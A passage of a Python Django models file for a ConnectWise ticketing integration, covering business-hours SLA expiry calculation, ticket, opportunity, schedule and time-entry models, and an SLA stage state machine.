first_day_minutes if first_day_minutes >= 0 else 0\n current = start + datetime.timedelta(days=1)\n day_of_week = (day_of_week + 1) % 7\n\n while current.date() != end.date():\n start_of_day = self.get_day_hours(True, day_of_week)\n if start_of_day and not self.is_holiday(current):\n start_of_day = datetime.timedelta(\n hours=start_of_day.hour,\n minutes=start_of_day.minute)\n end_of_day = self.get_day_hours(False, day_of_week)\n end_of_day = datetime.timedelta(\n hours=end_of_day.hour,\n minutes=end_of_day.minute)\n else:\n # This is a day with no hours, continue to next day\n day_of_week = (day_of_week + 1) % 7\n current = current + datetime.timedelta(days=1)\n continue\n\n minutes = (end_of_day - start_of_day).total_seconds() / 60\n # 24 hour calendar, minutes are full day\n todays_minutes = minutes if minutes >= 0 else 1440\n sla_minutes = sla_minutes + todays_minutes\n day_of_week = (day_of_week + 1) % 7\n current = current + datetime.timedelta(days=1)\n\n end_of_day = self.get_day_hours(False, end.weekday())\n\n if end_of_day:\n end_of_day = datetime.timedelta(\n hours=end_of_day.hour,\n minutes=end_of_day.minute)\n\n end_time = datetime.timedelta(\n hours=end.hour,\n minutes=end.minute) if \\\n self.get_day_hours(False, end.weekday()) > \\\n end.time() else end_of_day\n\n # get sla_minutes for last day\n start_of_day = self.get_day_hours(True, end.weekday())\n start_of_day = datetime.timedelta(hours=start_of_day.hour,\n minutes=start_of_day.minute)\n\n last_day_minutes = (end_time - start_of_day).total_seconds() \\\n / 60\n minutes = last_day_minutes if last_day_minutes >= 0 else 0\n else:\n minutes = 0\n sla_minutes += minutes\n return sla_minutes\n\n def next_phase_expiry(self, sla_hours, ticket):\n\n start = ticket.entered_date_utc.astimezone(tz=None)\n\n # Start counting from the start of the next business day if the\n # ticket was created on a weekend\n day_of_week, days = self.get_first_day(start)\n\n if day_of_week is None and days is None:\n ticket.sla_expire_date = None\n return\n\n sla_minutes, days, minutes, sla_start = self.get_sla_start(\n sla_hours,\n ticket.minutes_waiting,\n start,\n day_of_week,\n days\n )\n\n # Advance day by day, reducing the sla_minutes by the time in\n # each working day.\n # When minutes goes below zero, add the amount of time left on it\n # that day to the start time of that day, giving you the due date\n while sla_minutes >= 0:\n day_of_week = (day_of_week + 1) % 7\n days += 1\n\n start_of_day = self.get_day_hours(True, day_of_week)\n if start_of_day and \\\n not self.is_holiday(\n datetime.timedelta(days=days) + start):\n start_of_day = datetime.timedelta(hours=start_of_day.hour,\n minutes=start_of_day.minute)\n end_of_day = self.get_day_hours(False, day_of_week)\n end_of_day = datetime.timedelta(hours=end_of_day.hour,\n minutes=end_of_day.minute)\n else:\n # This is a day with no hours, continue to next day\n continue\n\n minutes = (end_of_day - start_of_day).total_seconds() / 60\n # 24 hour calendar, minutes are full day\n todays_minutes = minutes if minutes >= 0 else 1440\n sla_minutes = sla_minutes - todays_minutes\n\n # sla_minutes went below zero so we know that day is the expiry\n # Add the minutes back to sla_minutes and add sla minutes to the\n # start of that day\n sla_minutes = sla_minutes + minutes\n self.set_sla_end(sla_start, days, day_of_week, sla_minutes, ticket)\n\n def get_sla_start(self, sla_hours, waiting_min, start, day_of_week, days):\n if days > 0:\n start = start + datetime.timedelta(days=days)\n start_of_day = self.get_day_hours(True, day_of_week)\n start = start.replace(\n hour=start_of_day.hour,\n minute=start_of_day.minute\n )\n days = 0\n\n start_date = datetime.timedelta(hours=start.hour,\n minutes=start.minute)\n\n sla_minutes = (sla_hours * 60) + waiting_min\n\n end_of_day = self.get_day_hours(False, day_of_week)\n end_of_day = datetime.timedelta(hours=end_of_day.hour,\n minutes=end_of_day.minute)\n first_day_minutes = (end_of_day - start_date).total_seconds() / 60\n\n # If created outside of work hours, take no minutes off and start\n # taking time off next work day\n minutes = first_day_minutes if first_day_minutes >= 0 else 0\n sla_minutes = sla_minutes - minutes\n\n return sla_minutes, days, minutes, start\n\n def set_sla_end(self, start, days, day_of_week, sla_minutes, ticket):\n expiry_date = start + datetime.timedelta(days=days)\n\n if days == 0:\n sla_expire_time = start + datetime.timedelta(minutes=sla_minutes)\n expiry_date = expiry_date.replace(\n hour=sla_expire_time.hour, minute=sla_expire_time.minute)\n else:\n sla_expire_time = self.get_day_hours(True, day_of_week)\n expiry_date = expiry_date.replace(\n hour=sla_expire_time.hour, minute=sla_expire_time.minute) + \\\n datetime.timedelta(minutes=sla_minutes)\n\n ticket.sla_expire_date = expiry_date.astimezone(tz=timezone.utc)\n\n\nclass Holiday(models.Model):\n name = models.CharField(max_length=200)\n all_day_flag = models.BooleanField(default=False)\n date = models.DateField(\n blank=True,\n null=True,\n auto_now=False,\n auto_now_add=False\n )\n start_time = models.TimeField(\n auto_now=False,\n auto_now_add=False,\n blank=True,\n null=True\n )\n end_time = models.TimeField(\n auto_now=False,\n auto_now_add=False,\n blank=True,\n null=True\n )\n holiday_list = models.ForeignKey(\n 'HolidayList', on_delete=models.CASCADE)\n\n def __str__(self):\n return self.name\n\n\nclass HolidayList(models.Model):\n name = models.CharField(max_length=200)\n\n def __str__(self):\n return self.name\n\n\nclass ScheduleType(models.Model):\n name = models.CharField(max_length=50)\n identifier = models.CharField(max_length=1)\n\n class Meta:\n ordering = ('name', )\n\n def __str__(self):\n return self.name\n\n\nclass ScheduleStatus(models.Model):\n name = models.CharField(max_length=30)\n\n class Meta:\n verbose_name_plural = 'Schedule statuses'\n\n def __str__(self):\n return self.name\n\n\nclass ScheduleEntry(models.Model):\n name = models.CharField(max_length=250, blank=True, null=True)\n expected_date_start = models.DateTimeField(blank=True, null=True)\n expected_date_end = models.DateTimeField(blank=True, null=True)\n done_flag = models.BooleanField(default=False)\n\n ticket_object = models.ForeignKey(\n 'Ticket',\n blank=True,\n null=True,\n on_delete=models.CASCADE\n )\n activity_object = models.ForeignKey(\n 'Activity',\n blank=True,\n null=True,\n on_delete=models.CASCADE\n )\n member = models.ForeignKey('Member', on_delete=models.CASCADE)\n where = models.ForeignKey(\n 'Location',\n blank=True,\n null=True,\n on_delete=models.SET_NULL\n )\n status = models.ForeignKey(\n 'ScheduleStatus',\n blank=True,\n null=True,\n on_delete=models.SET_NULL\n )\n schedule_type = models.ForeignKey(\n 'ScheduleType',\n blank=True,\n null=True,\n on_delete=models.SET_NULL\n )\n\n class Meta:\n verbose_name_plural = 'Schedule entries'\n ordering = ('name', )\n\n def __str__(self):\n return self.name or ''\n\n def delete_entry(self):\n \"\"\"\n Send Delete request to ConnectWise for this entry\n \"\"\"\n schedule_client = api.ScheduleAPIClient()\n return schedule_client.delete_schedule_entry(self.id)\n\n\nclass Territory(models.Model):\n name = models.CharField(max_length=250, blank=True, null=True)\n\n class Meta:\n verbose_name_plural = 'Territories'\n ordering = ('name', )\n\n def __str__(self):\n return self.name\n\n\nclass TimeEntry(models.Model):\n CHARGE_TYPES = (\n ('ServiceTicket', \"Service Ticket\"),\n ('ProjectTicket', \"Project Ticket\"),\n ('ChargeCode', \"Charge Code\"),\n ('Activity', \"Activity\")\n )\n BILL_TYPES = (\n ('Billable', \"Billable\"),\n ('DoNotBill', \"Do Not Bill\"),\n ('NoCharge', \"No Charge\"),\n )\n\n class Meta:\n verbose_name_plural = 'Time entries'\n ordering = ('-time_start', 'id')\n\n def __str__(self):\n return str(self.id) or ''\n\n actual_hours = models.DecimalField(\n blank=True, null=True, decimal_places=2, max_digits=9)\n billable_option = models.CharField(choices=BILL_TYPES, max_length=250)\n charge_to_type = models.CharField(choices=CHARGE_TYPES, max_length=250)\n hours_deduct = models.DecimalField(\n blank=True, null=True, decimal_places=2, max_digits=9)\n internal_notes = models.TextField(blank=True, null=True, max_length=2000)\n notes = models.TextField(blank=True, null=True, max_length=2000)\n time_start = models.DateTimeField(blank=True, null=True)\n time_end = models.DateTimeField(blank=True, null=True)\n\n detail_description_flag = models.BooleanField(default=False)\n internal_analysis_flag = models.BooleanField(default=False)\n resolution_flag = models.BooleanField(default=False)\n\n email_resource_flag = models.BooleanField(default=False)\n email_contact_flag = models.BooleanField(default=False)\n email_cc_flag = models.BooleanField(default=False)\n\n charge_to_id = models.ForeignKey(\n 'Ticket', blank=True, null=True, on_delete=models.CASCADE)\n company = models.ForeignKey(\n 'Company', blank=True, null=True, on_delete=models.CASCADE)\n member = models.ForeignKey(\n 'Member', blank=True, null=True, on_delete=models.CASCADE)\n\n\nclass AvailableBoardTeamManager(models.Manager):\n \"\"\"Return only teams whose ConnectWise board is active.\"\"\"\n def get_queryset(self):\n return super().get_queryset().filter(board__inactive=False)\n\n\nclass Team(TimeStampedModel):\n name = models.CharField(max_length=30)\n board = models.ForeignKey('ConnectWiseBoard', on_delete=models.CASCADE)\n members = models.ManyToManyField('Member')\n\n objects = models.Manager()\n available_objects = AvailableBoardTeamManager()\n\n class Meta:\n verbose_name_plural = 'Teams'\n ordering = ('name', 'id')\n\n def __str__(self):\n return '{}/{}'.format(self.board, self.name)\n\n\nclass TicketPriority(TimeStampedModel):\n name = models.CharField(max_length=50, blank=False)\n # ConnectWise doesn't always return sort and color- not sure why.\n # Sort will be None in this circumstance- dependent code should handle it.\n sort = models.PositiveSmallIntegerField(null=True)\n # Color will be a property that tries to guess at a sensible value.\n _color = models.CharField(\n max_length=50, null=True, blank=True, db_column='color'\n )\n\n DEFAULT_COLORS = {\n '1': 'red',\n '2': 'orange',\n '3': 'yellow',\n '4': 'white',\n '5': 'darkmagenta',\n }\n DEFAULT_COLOR = 'darkgray'\n\n class Meta:\n verbose_name_plural = 'ticket priorities'\n ordering = ('sort', 'name', )\n\n def __str__(self):\n return self.name\n\n @property\n def color(self):\n \"\"\"\n If a color has been set, then return it. Otherwise if the name\n matches the common format (\"Priority X - ...\"), then return\n something sensible based on values seen in the wild.\n \"\"\"\n if self._color == \"Custom\":\n return self.DEFAULT_COLOR\n elif self._color:\n return self._color\n else:\n prio_number = None\n prio_match = PRIORITY_RE.match(self.name)\n if prio_match:\n prio_number = prio_match.group(1)\n return TicketPriority.DEFAULT_COLORS.get(\n prio_number,\n TicketPriority.DEFAULT_COLOR\n )\n\n @color.setter\n def color(self, color):\n self._color = color\n\n\nclass ProjectStatus(TimeStampedModel):\n name = models.CharField(max_length=30)\n default_flag = models.BooleanField(default=False)\n inactive_flag = models.BooleanField(default=False)\n closed_flag = models.BooleanField(default=False)\n\n class Meta:\n ordering = ('name', )\n verbose_name_plural = 'Project statuses'\n\n def __str__(self):\n return self.name\n\n\nclass AvailableProjectManager(models.Manager):\n \"\"\"\n Return only projects whose status closed field is False.\n \"\"\"\n def get_queryset(self):\n return super().get_queryset().filter(\n status__closed_flag=False,\n )\n\n\nclass Project(TimeStampedModel):\n name = models.CharField(max_length=200)\n actual_hours = models.DecimalField(\n blank=True, null=True, decimal_places=2, max_digits=9)\n budget_hours = models.DecimalField(\n blank=True, null=True, decimal_places=2, max_digits=9)\n scheduled_hours = models.DecimalField(\n blank=True, null=True, decimal_places=2, max_digits=9)\n actual_start = models.DateField(blank=True, null=True)\n actual_end = models.DateField(blank=True, null=True)\n estimated_start = models.DateField(blank=True, null=True)\n estimated_end = models.DateField(blank=True, null=True)\n\n status = models.ForeignKey(\n 'ProjectStatus', blank=True, null=True, on_delete=models.SET_NULL)\n manager = models.ForeignKey(\n 'Member',\n blank=True,\n null=True,\n related_name='project_manager',\n on_delete=models.SET_NULL\n )\n\n objects = models.Manager()\n available_objects = AvailableProjectManager()\n\n class Meta:\n ordering = ('name', )\n\n def __str__(self):\n return self.name or ''\n\n\nclass OpportunityStage(TimeStampedModel):\n name = models.CharField(max_length=50)\n\n class Meta:\n ordering = ('name', )\n\n def __str__(self):\n return self.name\n\n\nclass AvailableOpportunityStatusManager(models.Manager):\n \"\"\"\n Return only Opportunity Statuses whose inactive field is False.\n \"\"\"\n def get_queryset(self):\n return super().get_queryset().filter(\n inactive_flag=False\n )\n\n\nclass OpportunityStatus(TimeStampedModel):\n name = models.CharField(max_length=30)\n won_flag = models.BooleanField(default=False)\n lost_flag = models.BooleanField(default=False)\n closed_flag = models.BooleanField(default=False)\n inactive_flag = models.BooleanField(default=False)\n\n objects = models.Manager()\n available_objects = AvailableOpportunityStatusManager()\n\n class Meta:\n ordering = ('name', )\n verbose_name_plural = 'Opportunity statuses'\n\n def __str__(self):\n return self.name\n\n\nclass OpportunityPriority(TimeStampedModel):\n name = models.CharField(max_length=50)\n\n class Meta:\n ordering = ('name', )\n verbose_name_plural = 'opportunity priorities'\n\n def __str__(self):\n return self.name\n\n\nclass OpportunityType(TimeStampedModel):\n description = models.CharField(max_length=50)\n inactive_flag = models.BooleanField(default=False)\n\n class Meta:\n ordering = ('description', )\n\n def __str__(self):\n return self.description\n\n\nclass Opportunity(TimeStampedModel):\n business_unit_id = models.IntegerField(null=True)\n closed_date = models.DateTimeField(blank=True, null=True)\n customer_po = models.CharField(max_length=100, blank=True, null=True)\n date_became_lead = models.DateTimeField(blank=True, null=True)\n expected_close_date = models.DateField()\n location_id = models.IntegerField()\n name = models.CharField(max_length=100)\n notes = models.TextField(blank=True, null=True)\n pipeline_change_date = models.DateTimeField(blank=True, null=True)\n probability = models.ForeignKey('SalesProbability',\n blank=True, null=True,\n related_name='sales_probability',\n on_delete=models.SET_NULL)\n source = models.CharField(max_length=100, blank=True, null=True)\n\n closed_by = models.ForeignKey('Member',\n blank=True, null=True,\n related_name='opportunity_closed_by',\n on_delete=models.SET_NULL)\n company = models.ForeignKey('Company', blank=True, null=True,\n related_name='company_opportunities',\n on_delete=models.SET_NULL)\n primary_sales_rep = models.ForeignKey('Member',\n blank=True, null=True,\n related_name='opportunity_primary',\n on_delete=models.SET_NULL)\n priority = models.ForeignKey('OpportunityPriority',\n on_delete=models.SET_NULL, null=True)\n stage = models.ForeignKey('OpportunityStage', on_delete=models.CASCADE)\n status = models.ForeignKey('OpportunityStatus', blank=True, null=True,\n on_delete=models.SET_NULL)\n secondary_sales_rep = models.ForeignKey(\n 'Member',\n blank=True, null=True,\n related_name='opportunity_secondary',\n on_delete=models.SET_NULL)\n opportunity_type = models.ForeignKey('OpportunityType',\n blank=True, null=True,\n on_delete=models.SET_NULL)\n\n class Meta:\n ordering = ('name', )\n verbose_name_plural = 'Opportunities'\n\n def __str__(self):\n return self.name\n\n def get_connectwise_url(self):\n params = dict(\n recordType='OpportunityFv',\n recid=self.id,\n companyName=settings.CONNECTWISE_CREDENTIALS['company_id']\n )\n return '{}/{}?{}'.format(\n settings.CONNECTWISE_SERVER_URL,\n settings.CONNECTWISE_TICKET_PATH,\n urllib.parse.urlencode(params)\n )\n\n def save(self, *args, **kwargs):\n \"\"\"\n Save the object.\n\n If update_cw as a kwarg is True, then update ConnectWise with changes.\n \"\"\"\n update_cw = kwargs.pop('update_cw', False)\n super().save(*args, **kwargs)\n if update_cw:\n self.update_cw()\n\n def update_cw(self):\n \"\"\"\n Send ticket status and closed_flag updates to ConnectWise.\n \"\"\"\n sales_client = api.SalesAPIClient()\n return sales_client.update_opportunity_stage(\n self.id, self.stage\n )\n\n\nclass Ticket(TimeStampedModel):\n RECORD_TYPES = (\n ('ServiceTicket', \"Service Ticket\"),\n ('ProjectTicket', \"Project Ticket\"),\n ('ProjectIssue', \"Project Issue\"),\n )\n\n BILL_TIME_TYPES = (\n ('Billable', \"Billable\"),\n ('DoNotBill', \"Do Not Bill\"),\n ('NoCharge', \"No Charge\"),\n ('NoDefault', \"No Default\")\n )\n\n RESPOND = 'respond'\n PLAN = 'plan'\n RESOLVE = 'resolve'\n RESOLVED = 'resolved'\n WAITING = 'waiting'\n\n SLA_STAGE = (\n (RESPOND, \"Respond\"),\n (PLAN, \"Plan\"),\n (RESOLVE, \"Resolve\"),\n (RESOLVED, \"Resolved\"),\n (WAITING, \"Waiting\"),\n )\n\n STAGE_RANK = dict(\n zip(\n [i for i in range(5)],\n [type[0] for type in SLA_STAGE]\n )\n )\n\n actual_hours = models.DecimalField(\n blank=True, null=True, decimal_places=2, max_digits=9)\n agreement_id = models.IntegerField(blank=True, null=True)\n approved = models.NullBooleanField(blank=True, null=True)\n budget_hours = models.DecimalField(\n blank=True, null=True, decimal_places=2, max_digits=9)\n closed_by = models.CharField(blank=True, null=True, max_length=250)\n closed_date_utc = models.DateTimeField(blank=True, null=True)\n closed_flag = models.NullBooleanField(blank=True, null=True)\n customer_updated = models.BooleanField(default=False)\n date_resolved_utc = models.DateTimeField(blank=True, null=True)\n date_resplan_utc = models.DateTimeField(blank=True, null=True)\n date_responded_utc = models.DateTimeField(blank=True, null=True)\n entered_date_utc = models.DateTimeField(blank=True, null=True)\n has_child_ticket = models.NullBooleanField()\n impact = models.CharField(blank=True, null=True, max_length=250)\n is_in_sla = models.NullBooleanField(blank=True, null=True)\n last_updated_utc = models.DateTimeField(blank=True, null=True)\n parent_ticket_id = models.IntegerField(blank=True, null=True)\n record_type = models.CharField(blank=True, null=True,\n max_length=250, choices=RECORD_TYPES,\n db_index=True)\n required_date_utc = models.DateTimeField(blank=True, null=True)\n respond_mins = models.IntegerField(blank=True, null=True)\n resolve_mins = models.IntegerField(blank=True, null=True)\n resources = models.CharField(blank=True, null=True, max_length=250)\n res_plan_mins = models.IntegerField(blank=True, null=True)\n severity = models.CharField(blank=True, null=True, max_length=250)\n site_name = models.CharField(blank=True, null=True, max_length=250)\n source = models.CharField(blank=True, null=True, max_length=250)\n summary = models.CharField(blank=True, null=True, max_length=250)\n updated_by = models.CharField(blank=True, null=True, max_length=250)\n sla_expire_date = models.DateTimeField(blank=True, null=True)\n do_not_escalate_date = models.DateTimeField(blank=True, null=True)\n sla_stage = models.CharField(blank=True, null=True,\n max_length=250, choices=SLA_STAGE,\n db_index=True)\n minutes_waiting = models.PositiveIntegerField(default=0)\n bill_time = models.CharField(blank=True, null=True,\n max_length=20, choices=BILL_TIME_TYPES)\n automatic_email_cc_flag = models.BooleanField(default=False)\n automatic_email_contact_flag = models.BooleanField(default=False)\n automatic_email_resource_flag = models.BooleanField(default=False)\n\n board = models.ForeignKey(\n 'ConnectwiseBoard', blank=True, null=True, on_delete=models.CASCADE)\n company = models.ForeignKey(\n 'Company', blank=True, null=True, related_name='company_tickets',\n on_delete=models.SET_NULL)\n location = models.ForeignKey(\n 'Location', blank=True, null=True, related_name='location_tickets',\n on_delete=models.SET_NULL)\n members = models.ManyToManyField(\n 'Member', through='ScheduleEntry',\n related_name='member_tickets')\n owner = models.ForeignKey(\n 'Member', blank=True, null=True, on_delete=models.SET_NULL)\n priority = models.ForeignKey(\n 'TicketPriority', blank=True, null=True, on_delete=models.SET_NULL)\n project = models.ForeignKey(\n 'Project', blank=True, null=True, related_name='project_tickets',\n on_delete=models.CASCADE)\n status = models.ForeignKey(\n 'BoardStatus', blank=True, null=True, related_name='status_tickets',\n on_delete=models.SET_NULL)\n team = models.ForeignKey(\n 'Team', blank=True, null=True, related_name='team_tickets',\n on_delete=models.SET_NULL)\n sla = models.ForeignKey(\n 'Sla', blank=True, null=True, related_name='tickets',\n on_delete=models.SET_NULL)\n type = models.ForeignKey(\n 'Type', blank=True, null=True, related_name='type_tickets',\n on_delete=models.SET_NULL)\n sub_type = models.ForeignKey(\n 'Subtype', blank=True, null=True, related_name='subtype_tickets',\n on_delete=models.SET_NULL)\n sub_type_item = models.ForeignKey(\n 'Item', blank=True, null=True, related_name='item_tickets',\n on_delete=models.SET_NULL)\n\n class Meta:\n verbose_name = 'Ticket'\n verbose_name_plural = 'Tickets'\n ordering = ('summary', )\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.state_manager = StateMachineManager\n state_class = self.state_manager.get(self.sla_stage)\n self.sla_state = state_class(self) if state_class else None\n\n def __str__(self):\n return '{}-{}'.format(self.id, self.summary)\n\n def time_remaining(self):\n time_remaining = self.budget_hours\n if self.budget_hours and self.actual_hours:\n time_remaining = self.budget_hours - self.actual_hours\n return time_remaining\n\n def get_connectwise_url(self):\n params = dict(\n locale='en_US',\n recordType='ServiceFv',\n recid=self.id,\n companyName=settings.CONNECTWISE_CREDENTIALS['company_id']\n )\n return '{}/{}?{}'.format(\n settings.CONNECTWISE_SERVER_URL,\n settings.CONNECTWISE_TICKET_PATH,\n urllib.parse.urlencode(params)\n )\n\n def save(self, *args, **kwargs):\n \"\"\"\n Save the object.\n\n If update_cw as a kwarg is True, then update ConnectWise with changes.\n \"\"\"\n self._warn_invalid_status()\n\n update_cw = kwargs.pop('update_cw', False)\n super().save(*args, **kwargs)\n if update_cw:\n self.update_cw()\n\n def _warn_invalid_status(self):\n \"\"\"\n Warn if the status doesn't belong to the board. It seems that\n ConnectWise isn't particularly strict about enforcing that a ticket's\n status is valid for the ticket's board, so we won't enforce this.\n\n If status or board are None, then don't bother, since this can happen\n during sync jobs and it would be a lot of work to enforce at all the\n right times.\n \"\"\"\n if self.status and self.board and self.status.board != self.board:\n logger.warning(\n \"For ticket {}, {} (ID {}) is not a valid status for the \"\n \"ticket's ConnectWise board ({}, ID {}).\".\n format(\n self.id,\n self.status.name,\n self.status.id,\n self.board,\n self.board.id,\n )\n )\n\n def update_cw(self):\n \"\"\"\n Send ticket status or priority and closed_flag updates to ConnectWise.\n \"\"\"\n service_client = api.ServiceAPIClient()\n return service_client.update_ticket(\n self.id, self.closed_flag, self.priority, self.status\n )\n\n def close(self, *args, **kwargs):\n \"\"\"\n Set the ticket to a closed status for the board.\n \"\"\"\n logger.info('Closing ticket %s' % self.id)\n closed_status = self.board.get_closed_status()\n if closed_status is None:\n raise InvalidStatusError(\n \"There are no closed statuses on this ticket's ConnectWise \"\n \"board ({}). Its status has not been changed.\".format(\n self.board\n )\n )\n\n self.status = closed_status\n self.closed_flag = True\n return self.save(*args, **kwargs)\n\n def calculate_sla_expiry(self):\n # We can't guarantee that entered_date_utc won't be null.\n # In the case that it is null, reset the date fields to prevent\n # incorrect SLA calculations.\n if not self.entered_date_utc:\n self.sla_expire_date = None\n self.do_not_escalate_date = None\n self.sla_stage = None\n self.date_resplan_utc = None\n self.date_responded_utc = None\n return\n\n if not self.status:\n logger.error(\n 'Ticket {}-{}, does not have a status set. '\n 'Skipping SLA calculation.'.format(self.id, self.summary)\n )\n return\n\n if not self.sla:\n return\n\n # SLAP might exist, which may alter the SLA target time\n sla_priority = SlaPriority.objects.filter(\n sla=self.sla,\n priority=self.priority\n ).first()\n if sla_priority:\n sla = sla_priority\n else:\n sla = self.sla\n\n new_stage = self.STAGE_RANK.get(\n self.status.get_status_rank()\n )\n\n calendar = self.sla.get_calendar(self.company)\n\n if not calendar:\n logger.info(\n 'No calendar found for SLA {} on ticket {}'.format(\n sla.id, self.id\n )\n )\n return\n\n self.change_sla_state(new_stage, calendar, sla)\n\n def change_sla_state(self, new_stage, calendar, sla):\n valid_stage = self.sla_state.get_valid_next_state(new_stage) \\\n if self.sla_state else new_stage\n\n if valid_stage:\n new_state = self.state_manager.get(valid_stage)(self)\n\n self.sla_state.leave(calendar, sla) if self.sla_state else None\n self.sla_state = new_state\n self.sla_state.enter(valid_stage, calendar, sla)\n\n\nclass ServiceNote(TimeStampedModel):\n\n created_by = models.TextField(blank=True, null=True, max_length=250)\n date_created = models.DateTimeField(blank=True, null=True)\n detail_description_flag = models.BooleanField(blank=True)\n external_flag = models.BooleanField(blank=True)\n internal_analysis_flag = models.BooleanField(blank=True)\n internal_flag = models.BooleanField(blank=True)\n resolution_flag = models.BooleanField(blank=True)\n text = models.TextField(blank=True, null=True, max_length=2000)\n\n ticket = models.ForeignKey('Ticket', on_delete=models.CASCADE)\n member = models.ForeignKey(\n 'Member', blank=True, null=True, on_delete=models.SET_NULL)\n\n class Meta:\n ordering = ('-date_created', 'id')\n verbose_name_plural = 'Notes'\n\n def __str__(self):\n return 'Ticket {} note: {}'.format(self.ticket, str(self.date_created))\n\n\nclass Sla(TimeStampedModel, SlaGoalsMixin):\n\n BASED_ON = (\n ('MyCalendar', \"My Company Calendar\"),\n ('Customer', \"Customer's Calendar\"),\n ('AllHours', \"24 Hours\"),\n ('Custom', \"Custom Calendar\")\n )\n\n name = models.TextField(max_length=250)\n default_flag = models.BooleanField(default=False)\n respond_hours = models.BigIntegerField()\n plan_within = models.BigIntegerField()\n resolution_hours = models.BigIntegerField()\n based_on = models.CharField(max_length=50, choices=BASED_ON,\n default='MyCalendar')\n\n calendar = models.ForeignKey(\n 'Calendar',\n blank=True,\n null=True,\n on_delete=models.SET_NULL\n )\n\n class Meta:\n verbose_name_plural = 'SLAs'\n\n def __str__(self):\n return self.name\n\n def get_calendar(self, company):\n try:\n if self.calendar:\n return self.calendar\n elif self.based_on == 'Customer' and company:\n return Company.objects.get(id=company.id).calendar\n elif self.based_on == 'MyCalendar':\n # Using get instead of first so it will throw an exception\n return MyCompanyOther.objects.get().default_calendar\n else:\n # Maybe based_on was Customer but company was None\n return None\n except ObjectDoesNotExist:\n return None\n\n\nclass SlaPriority(TimeStampedModel, SlaGoalsMixin):\n\n sla = models.ForeignKey(\n 'Sla',\n on_delete=models.CASCADE\n )\n priority = models.ForeignKey(\n 'TicketPriority',\n on_delete=models.CASCADE\n )\n respond_hours = models.FloatField()\n plan_within = models.FloatField()\n resolution_hours = models.FloatField()\n\n class Meta:\n verbose_name_plural = 'SLA Priorities'\n\n def __str__(self):\n return 'priority: {}, on SLA:{}'.format(\n str(self.priority), self.sla.id)\n\n\nclass OpportunityNote(TimeStampedModel):\n\n text = models.TextField(blank=True, null=True, max_length=2000)\n date_created = models.DateTimeField(blank=True, null=True)\n opportunity = models.ForeignKey('Opportunity', on_delete=models.CASCADE)\n\n class Meta:\n ordering = ('-date_created', 'id', )\n verbose_name_plural = 'Opportunity notes'\n\n def __str__(self):\n return 'id: {}, on Opportunity id:{}'.format(\n str(self.id), self.opportunity.id)\n\n\nclass Activity(TimeStampedModel):\n name = models.CharField(max_length=250)\n notes = models.TextField(blank=True, null=True, max_length=2000)\n date_start = models.DateTimeField(blank=True, null=True)\n date_end = models.DateTimeField(blank=True, null=True)\n\n assign_to = models.ForeignKey('Member', on_delete=models.CASCADE)\n opportunity = models.ForeignKey(\n 'Opportunity', blank=True, null=True, on_delete=models.CASCADE)\n ticket = models.ForeignKey(\n 'Ticket', blank=True, null=True, on_delete=models.CASCADE)\n\n class Meta:\n verbose_name_plural = 'activities'\n # ordering = ('opportunity', 'ticket')\n\n def __str__(self):\n return self.get_identifier() or ''\n\n def get_identifier(self):\n return self.name\n\n\nclass SalesProbability(TimeStampedModel):\n probability = models.IntegerField()\n\n class Meta:\n verbose_name_plural = 'Sales probabilities'\n ordering = ('probability', )\n\n def __str__(self):\n return 'Probability {}'.format(self.probability)\n\n\nclass SLAMachineState(object):\n valid_next_states = set()\n\n def __init__(self, ticket):\n self.ticket = ticket\n\n def enter(self, new_stage, calendar, sla):\n logger.debug('Entering SLA State: {}'.format(self))\n sla_hours = sla.get_stage_hours(new_stage)\n calendar.next_phase_expiry(sla_hours, self.ticket)\n self.ticket.sla_stage = new_stage\n\n def leave(self, *args):\n logger.debug('Leaving SLA State: {}'.format(self))\n\n def get_valid_next_state(self, new_state):\n if new_state in self.valid_next_states:\n return new_state\n\n\nclass EscalateState(SLAMachineState):\n valid_next_states = {Ticket.WAITING}\n\n\nclass Respond(EscalateState):\n sla_stage = Ticket.RESPOND\n\n def __init__(self, ticket):\n super().__init__(ticket)\n self.valid_next_states = self.valid_next_states.union({\n Ticket.PLAN,\n Ticket.RESOLVE,\n Ticket.RESOLVED\n })\n\n\nclass Plan(EscalateState):\n sla_stage = Ticket.PLAN\n\n def __init__(self, ticket):\n super().__init__(ticket)\n self.valid_next_states = self.valid_next_states.union({\n Ticket.RESOLVE,\n Ticket.RESOLVED\n })\n\n\nclass Resolve(EscalateState):\n sla_stage = Ticket.RESOLVE\n\n def __init__(self, ticket):\n super().__init__(ticket)\n self.valid_next_states = \\\n self.valid_next_states.union({Ticket.RESOLVED})\n\n\nclass Resolved(EscalateState):\n sla_stage = Ticket.RESOLVED\n\n def __init__(self, ticket):\n super().__init__(ticket)\n self.valid_next_states = self.valid_next_states.union({Ticket.RESOLVE})\n\n def enter(self, *args):\n self.ticket.sla_expire_date = None\n self.ticket.sla_stage = self.sla_stage\n\n def get_valid_next_state(self, new_state):\n if new_state == Ticket.WAITING:\n return new_state\n elif new_state != self.sla_stage:\n return Ticket.RESOLVE\n\n\nclass Waiting(SLAMachineState):\n sla_stage = Ticket.WAITING\n\n def enter(self, *args):\n # Save time entered a non-escalate state to calculate how many minutes\n # it has been waiting if it is ever returned to a regular state\n self.ticket.sla_expire_date = None\n self.ticket.do_not_escalate_date = timezone.now()\n self.ticket.sla_stage = self.sla_stage\n\n def leave(self, calendar, sla):\n # Get the minutes ticket has been in a non-escalate state,\n # change the state to the desired stage, or the lowest stage allowed,\n # add the minutes spent in waiting to the tickets minutes_waiting field\n # and then recalculate the new stage\n if self.ticket.do_not_escalate_date:\n self.ticket.minutes_waiting += calendar.get_sla_time(\n self.ticket.do_not_escalate_date.astimezone(tz=None),\n timezone.now().astimezone(tz=None)\n )\n self.ticket.do_not_escalate_date = None\n\n def get_valid_next_state(self, new_state):\n if new_state != Ticket.WAITING:\n return self._lowest_possible_stage(new_state)\n\n def _lowest_possible_stage(self, stage):\n # Returns the lowest stage a ticket is allowed to go, given the input\n # stage.\n if stage == Ticket.RESOLVED or stage == Ticket.RESOLVE:\n return stage\n elif stage == Ticket.PLAN:\n if self.ticket.date_resplan_utc:\n return Ticket.RESOLVE\n else:\n return stage\n elif stage == Ticket.RESPOND:\n if self.ticket.date_resplan_utc:\n return Ticket.RESOLVE\n elif self.ticket.date_responded_utc:\n return Ticket.PLAN\n else:\n return stage\n else:\n logger.warning('Exiting stage with unknown type')\n return stage\n\n\nclass StateMachineManager(object):\n SLA_STATE = {\n Ticket.RESPOND: Respond,\n Ticket.PLAN: Plan,\n Ticket.RESOLVE: Resolve,\n Ticket.RESOLVED: 